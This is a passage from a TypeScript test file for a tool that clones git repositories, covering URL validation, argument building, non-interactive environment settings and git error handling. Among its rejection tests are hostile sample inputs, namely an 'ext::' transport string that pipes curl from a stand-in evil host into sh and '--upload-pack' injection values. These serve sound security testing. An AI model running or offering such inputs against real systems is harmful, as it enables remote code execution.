mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 12:39:42 +02:00
Addresses all four findings from the #251 review: - Scaffolding no longer writes through repository-controlled symlinks. The guard lives in hooks-config.ts (settingsWriteBlocker) so it also covers quick-start/docker/ralph writers, not just the clone route: refuses a symlinked .claude or settings.local.json, a .claude that is a file, or one resolving outside the case. The clone route surfaces the refusal as a user-visible warning, and the CLAUDE.md write checks presence via lstat so a BROKEN repo-shipped symlink counts as present (existsSync follows links and would have created the outside target). - Failed-clone cleanup can no longer delete a concurrent winner's tree: git clones into an attempt-owned temp sibling (.<name>.cloning-<rand>) which is atomically renamed into place; the loser reports DESTINATION_EXISTS and only ever removes its own temp dir. - decodeURIComponent(url.pathname) is guarded: malformed percent-escapes now come back as BAD_SYNTAX instead of an uncaught URIError 500. - The git pool's waiter queue is bounded (CODEMAN_MAX_GIT_QUEUE, default 16): overflow answers BUSY immediately (HTTP 429 via RATE_LIMITED), and queue time counts against the operation's own deadline. Tests: hostile symlink fixture repo (route level), settingsWriteBlocker units, concurrent same-destination race, temp-dir leak assertions, percent-escape rejection, and a fake-git pool-bounds suite. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
522 lines
21 KiB
TypeScript
522 lines
21 KiB
TypeScript
/**
|
|
* @fileoverview Tests for the clone-a-repository-as-a-case core (issue #236).
|
|
*
|
|
* Two halves, mirroring the module:
|
|
*
|
|
* 1. The PURE half — URL parsing (where the security decisions live), argv/env
|
|
* construction, `ls-remote` parsing and stderr classification. No spawning.
|
|
* 2. The IO half — driven against a REAL `git` cloning a REAL local bare repo, so
|
|
* the argv, the failure classification and the cleanup-on-failure path are all
|
|
* proven against git's actual behavior rather than a mock's idea of it. These
|
|
* skip themselves when git is unavailable (never silently pass: the pure
|
|
* assertions above still run).
|
|
*
|
|
* Port: N/A (no server).
|
|
*/
|
|
|
|
import { describe, it, expect, beforeAll, afterAll, vi } from 'vitest';
|
|
import { execFileSync } from 'node:child_process';
|
|
import { existsSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
|
|
import { tmpdir } from 'node:os';
|
|
import { join } from 'node:path';
|
|
import {
|
|
buildCloneArgs,
|
|
buildLsRemoteArgs,
|
|
classifyGitFailure,
|
|
cloneRepository,
|
|
getActiveGitOperationCount,
|
|
gitNonInteractiveEnv,
|
|
isGitAvailable,
|
|
isSafeGitRef,
|
|
parseGitRepositoryUrl,
|
|
parseLsRemoteOutput,
|
|
probeGitRemote,
|
|
sanitizeGitOutput,
|
|
suggestCaseNameFromRepo,
|
|
} from '../src/git-clone.js';
|
|
|
|
/** Narrow a parse result to the accepted branch, failing loudly otherwise. */
|
|
function accepted(input: string) {
|
|
const parsed = parseGitRepositoryUrl(input);
|
|
if (!parsed.cloneable) throw new Error(`expected ${input} to be cloneable, got ${parsed.code}: ${parsed.message}`);
|
|
return parsed;
|
|
}
|
|
|
|
/** Narrow a parse result to the rejected branch. */
|
|
function rejected(input: string) {
|
|
const parsed = parseGitRepositoryUrl(input);
|
|
if (parsed.cloneable) throw new Error(`expected ${input} to be REFUSED, but it parsed as ${parsed.repository}`);
|
|
return parsed;
|
|
}
|
|
|
|
describe('parseGitRepositoryUrl', () => {
|
|
it('accepts an https GitHub URL and pulls out owner/repo/provider', () => {
|
|
const parsed = accepted('https://github.com/Ark0N/Codeman.git');
|
|
expect(parsed.transport).toBe('https');
|
|
expect(parsed.host).toBe('github.com');
|
|
expect(parsed.owner).toBe('Ark0N');
|
|
expect(parsed.repo).toBe('Codeman');
|
|
expect(parsed.provider).toBe('GitHub');
|
|
expect(parsed.suggestedName).toBe('Codeman');
|
|
expect(parsed.warnings).toEqual([]);
|
|
});
|
|
|
|
it('accepts nested owner paths and a missing .git suffix', () => {
|
|
const parsed = accepted('https://gitlab.com/group/subgroup/project');
|
|
expect(parsed.owner).toBe('group/subgroup');
|
|
expect(parsed.repo).toBe('project');
|
|
expect(parsed.provider).toBe('GitLab');
|
|
});
|
|
|
|
it('accepts the scp-like SSH form', () => {
|
|
const parsed = accepted('git@github.com:owner/repo.git');
|
|
expect(parsed.transport).toBe('ssh');
|
|
expect(parsed.host).toBe('github.com');
|
|
expect(parsed.owner).toBe('owner');
|
|
expect(parsed.repo).toBe('repo');
|
|
// The advisory exists because an unconfigured key fails rather than prompts.
|
|
expect(parsed.warnings.join(' ')).toMatch(/ssh keys/i);
|
|
});
|
|
|
|
it('accepts ssh:// with a port', () => {
|
|
const parsed = accepted('ssh://git@git.example.com:2222/owner/repo.git');
|
|
expect(parsed.transport).toBe('ssh');
|
|
expect(parsed.host).toBe('git.example.com:2222');
|
|
expect(parsed.repo).toBe('repo');
|
|
});
|
|
|
|
it('warns but accepts plain http and git://', () => {
|
|
expect(accepted('http://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unencrypted/i);
|
|
expect(accepted('git://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unauthenticated/i);
|
|
});
|
|
|
|
it('accepts an absolute local path and file:// as a local clone', () => {
|
|
expect(accepted('/srv/repos/thing.git').transport).toBe('local');
|
|
expect(accepted('/srv/repos/thing.git').repo).toBe('thing');
|
|
expect(accepted('file:///srv/repos/thing').transport).toBe('local');
|
|
});
|
|
|
|
// ── The refusals that matter ──────────────────────────────────────────────
|
|
|
|
it('REFUSES ext:: and every other transport helper (arbitrary command execution)', () => {
|
|
expect(rejected('ext::sh -c "curl evil.example | sh"').code).toBe('TRANSPORT_HELPER');
|
|
expect(rejected('fd::7').code).toBe('TRANSPORT_HELPER');
|
|
// Not just the known-bad names: ANY `<helper>::` dispatches to git-remote-<helper>.
|
|
expect(rejected('weird::payload').code).toBe('TRANSPORT_HELPER');
|
|
});
|
|
|
|
it('REFUSES an option-shaped operand', () => {
|
|
expect(rejected('--upload-pack=touch /tmp/pwned').code).toBe('OPTION_LIKE');
|
|
expect(rejected('-u whatever').code).toBe('OPTION_LIKE');
|
|
});
|
|
|
|
it('REFUSES a URL carrying a password', () => {
|
|
expect(rejected('https://user:token@github.com/owner/repo.git').code).toBe('CREDENTIALS_IN_URL');
|
|
});
|
|
|
|
it('REFUSES unsupported schemes', () => {
|
|
expect(rejected('ftp://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
|
|
expect(rejected('javascript://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
|
|
});
|
|
|
|
it('REFUSES control characters and over-long input', () => {
|
|
expect(rejected('https://example.com/repo\n--upload-pack=x').code).toBe('CONTROL_CHARS');
|
|
expect(rejected(`https://example.com/${'a'.repeat(2100)}`).code).toBe('TOO_LONG');
|
|
});
|
|
|
|
it('REFUSES relative and ~ paths, and empty input', () => {
|
|
expect(rejected('./repo').code).toBe('BAD_SYNTAX');
|
|
expect(rejected('~/repo').code).toBe('BAD_SYNTAX');
|
|
expect(rejected(' ').code).toBe('EMPTY');
|
|
expect(rejected('not a url at all').code).toBe('BAD_SYNTAX');
|
|
});
|
|
|
|
it('REFUSES a URL with no repository name', () => {
|
|
expect(rejected('https://github.com/').code).toBe('NO_REPOSITORY_NAME');
|
|
});
|
|
|
|
it('REFUSES a malformed percent-escape as BAD_SYNTAX instead of throwing', () => {
|
|
// `new URL` tolerates "%zz" in a path; decodeURIComponent throws on it,
|
|
// and uncaught that URIError surfaced as a 500 from the route.
|
|
expect(rejected('https://github.com/%zz/repo.git').code).toBe('BAD_SYNTAX');
|
|
expect(rejected('https://github.com/owner/repo%').code).toBe('BAD_SYNTAX');
|
|
});
|
|
});
|
|
|
|
describe('suggestCaseNameFromRepo', () => {
|
|
it('produces names the case-name validator accepts', () => {
|
|
expect(suggestCaseNameFromRepo('My.Repo.git')).toBe('My-Repo');
|
|
expect(suggestCaseNameFromRepo('repo with spaces')).toBe('repo-with-spaces');
|
|
expect(suggestCaseNameFromRepo('--weird--')).toBe('weird');
|
|
for (const input of ['My.Repo.git', 'repo with spaces', 'a/b', 'ünïcodé']) {
|
|
const suggested = suggestCaseNameFromRepo(input);
|
|
if (suggested) expect(suggested).toMatch(/^[a-zA-Z0-9_-]+$/);
|
|
}
|
|
});
|
|
|
|
it('returns empty rather than inventing a name when nothing survives', () => {
|
|
expect(suggestCaseNameFromRepo('...')).toBe('');
|
|
expect(suggestCaseNameFromRepo('')).toBe('');
|
|
});
|
|
});
|
|
|
|
describe('isSafeGitRef', () => {
|
|
it('accepts real branch and tag names', () => {
|
|
for (const ref of ['main', 'v1.2.3', 'release/2026-08', 'feat_x', 'v1.0.0+build.5']) {
|
|
expect(isSafeGitRef(ref)).toBe(true);
|
|
}
|
|
});
|
|
|
|
it('rejects flags, traversal and revision syntax', () => {
|
|
for (const ref of ['-x', '--upload-pack=x', 'a..b', 'HEAD@{1}', 'x.lock', 'has space', 'trailing/', '']) {
|
|
expect(isSafeGitRef(ref)).toBe(false);
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('buildCloneArgs / buildLsRemoteArgs', () => {
|
|
it('always separates operands with --', () => {
|
|
const args = buildCloneArgs({ repository: 'https://example.com/r.git', destination: '/cases/r' });
|
|
expect(args).toEqual(['clone', '--', 'https://example.com/r.git', '/cases/r']);
|
|
// The operands must sit AFTER the separator, always.
|
|
expect(args.indexOf('--')).toBeLessThan(args.indexOf('https://example.com/r.git'));
|
|
expect(buildLsRemoteArgs('https://example.com/r.git')).toEqual([
|
|
'ls-remote',
|
|
'--symref',
|
|
'--',
|
|
'https://example.com/r.git',
|
|
]);
|
|
});
|
|
|
|
it('maps ref to --branch --single-branch and shallow to --depth 1', () => {
|
|
expect(buildCloneArgs({ repository: 'r', destination: 'd', ref: 'v1', shallow: true })).toEqual([
|
|
'clone',
|
|
'--single-branch',
|
|
'--branch',
|
|
'v1',
|
|
'--depth',
|
|
'1',
|
|
'--',
|
|
'r',
|
|
'd',
|
|
]);
|
|
});
|
|
});
|
|
|
|
describe('gitNonInteractiveEnv', () => {
|
|
it('closes every interactive path that could hang an open request', () => {
|
|
const env = gitNonInteractiveEnv({ PATH: '/usr/bin', HOME: '/home/x' });
|
|
expect(env.GIT_TERMINAL_PROMPT).toBe('0');
|
|
expect(env.GIT_ASKPASS).toBe('');
|
|
expect(env.SSH_ASKPASS_REQUIRE).toBe('never');
|
|
expect(env.DISPLAY).toBe('');
|
|
expect(env.GCM_INTERACTIVE).toBe('never');
|
|
expect(env.GIT_SSH_COMMAND).toContain('BatchMode=yes');
|
|
// HOME/PATH are inherited on purpose: a working ssh agent keeps working.
|
|
expect(env.HOME).toBe('/home/x');
|
|
expect(env.PATH).toBe('/usr/bin');
|
|
});
|
|
|
|
it("does not override a user's own GIT_SSH_COMMAND", () => {
|
|
expect(gitNonInteractiveEnv({ GIT_SSH_COMMAND: 'ssh -F /custom' }).GIT_SSH_COMMAND).toBe('ssh -F /custom');
|
|
});
|
|
});
|
|
|
|
describe('parseLsRemoteOutput', () => {
|
|
it('extracts the default branch, branches and tags, dropping peeled tags', () => {
|
|
const parsed = parseLsRemoteOutput(
|
|
[
|
|
'ref: refs/heads/master\tHEAD',
|
|
'b1614e89fcfad61f23052879544b60560a7499cf\tHEAD',
|
|
'b1614e89fcfad61f23052879544b60560a7499cf\trefs/heads/master',
|
|
'498e0545de2edd7a7b412861060580da03fad881\trefs/heads/feat/x',
|
|
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0',
|
|
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0^{}',
|
|
'085f4acb606afa75d311dcabfb397d802ed147b4\trefs/pull/1/head',
|
|
'',
|
|
].join('\n')
|
|
);
|
|
expect(parsed.defaultBranch).toBe('master');
|
|
expect(parsed.branches).toEqual(['master', 'feat/x']);
|
|
expect(parsed.tags).toEqual(['v1.0.0']);
|
|
expect(parsed.truncated).toBe(false);
|
|
});
|
|
|
|
it('survives a remote with no HEAD symref', () => {
|
|
const parsed = parseLsRemoteOutput('0ae798f372995b5108796f089d0dcc25df6d40ba\trefs/heads/main');
|
|
expect(parsed.defaultBranch).toBeUndefined();
|
|
expect(parsed.branches).toEqual(['main']);
|
|
});
|
|
});
|
|
|
|
describe('classifyGitFailure', () => {
|
|
it('reports a missing git binary', () => {
|
|
expect(classifyGitFailure('', false, 'Error: spawn git ENOENT').code).toBe('GIT_MISSING');
|
|
});
|
|
|
|
it('reports a timeout before looking at stderr', () => {
|
|
expect(classifyGitFailure('fatal: repository not found', true).code).toBe('TIMEOUT');
|
|
});
|
|
|
|
it('recognizes the authentication wall in its several dialects', () => {
|
|
for (const stderr of [
|
|
"fatal: could not read Username for 'https://github.com': terminal prompts disabled",
|
|
'remote: Invalid username or password.',
|
|
'git@github.com: Permission denied (publickey).',
|
|
]) {
|
|
expect(classifyGitFailure(stderr, false).code).toBe('AUTH_REQUIRED');
|
|
}
|
|
});
|
|
|
|
it('says "not found OR private" rather than just "not found"', () => {
|
|
const failure = classifyGitFailure("remote: Repository not found.\nfatal: repository 'x' not found", false);
|
|
expect(failure.code).toBe('NOT_FOUND');
|
|
expect(failure.message).toMatch(/private/i);
|
|
});
|
|
|
|
it('recognizes a missing ref and an unreachable host', () => {
|
|
expect(classifyGitFailure('fatal: Remote branch nope not found in upstream origin', false).code).toBe(
|
|
'REF_NOT_FOUND'
|
|
);
|
|
expect(classifyGitFailure('fatal: unable to access: Could not resolve host: nope.invalid', false).code).toBe(
|
|
'HOST_UNREACHABLE'
|
|
);
|
|
});
|
|
});
|
|
|
|
describe('sanitizeGitOutput', () => {
|
|
it('redacts credentials a helper may have echoed back', () => {
|
|
expect(sanitizeGitOutput("fatal: unable to access 'https://bob:ghp_secret@github.com/x.git/'")).toBe(
|
|
"fatal: unable to access 'https://***:***@github.com/x.git/'"
|
|
);
|
|
});
|
|
|
|
it('strips control bytes and keeps the TAIL when over budget', () => {
|
|
expect(sanitizeGitOutput('a |